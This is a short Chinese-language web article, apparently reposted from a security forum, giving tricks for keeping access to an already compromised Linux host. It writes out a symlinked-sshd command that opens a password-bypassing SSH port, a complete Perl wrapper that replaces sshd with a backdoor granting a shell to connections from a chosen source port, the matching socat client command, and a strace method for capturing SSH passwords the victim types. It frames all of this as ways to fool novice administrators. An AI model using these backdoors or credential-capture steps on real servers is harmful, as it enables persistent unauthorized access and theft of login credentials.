首页 > 文章 > 安全

渗透技巧之SSH篇
时间:2014-06-15 22:15:51  点击: 来源:  作者:

用些小技巧,蒙蒙菜鸟管理员。1. 入侵得到SHELL后,对方防火墙没限制,想快速开放一个可以访问的SSH端口肉鸡上执行 1 mickey@vic:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 就会派生一个31337端口, ...

用些小技巧,蒙蒙菜鸟管理员。

1. 入侵得到SHELL后,对方防火墙没限制,想快速开放一个可以访问的SSH端口

肉鸡上执行

1 mickey@vic:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

效果图:

 

enter image description here

2. 做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接

在肉鸡上执行:

1 [root@localhost ~]# cd /usr/sbin
2 [root@localhost sbin]# mv sshd ../bin
3 [root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
4 [root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
5 [root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
6 [root@localhost sbin]# chmod u+x sshd
7 [root@localhost sbin]# /etc/init.d/sshd restart

在本机执行:

1 socat STDIO TCP4:10.18.180.20:22,sourceport=13377

如果你想修改源端口,可以用python的struct标准库实现

1 >>> import struct
2 >>> buffer = struct.pack('>I6',19526)
3 >>> print repr(buffer)
4 '/x00/x00LF'
5 >>> buffer = struct.pack('>I6',13377)
6 >>> print buffer
7 4A

效果图如下:

enter image description here

3. 记录SSH客户端连接密码

搞定主机后,往往想记录肉鸡SSH连接到其他主机的密码,进一步扩大战果,使用strace命令就行了。

效果图:

enter image description here

[via@dropwooyun]

http://www.91ri.org/9255.html

”您可通过以下微信二维码,赞赏作者“
 
 
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
linux服务器同步互联网时间
linux服务器同步互联
亚马逊云lightsail服务器使用教程 | 亚马逊云lightsail使用指南
亚马逊云lightsail服
hostdare 4折优惠,直接降价60% 美国洛杉矶低至 $10.4/年 768M内存/1核/10gNVMe/500g流量
hostdare 4折优惠,直接
六类网线cat6a和cat6e的区别
六类网线cat6a和cat6e
相关文章
栏目更新
栏目热门

关于我们 | 广告服务 | 联系我们 | 网站地图 | 免责声明 | WAP | RSS


Copyright © 运维之家 2013-2023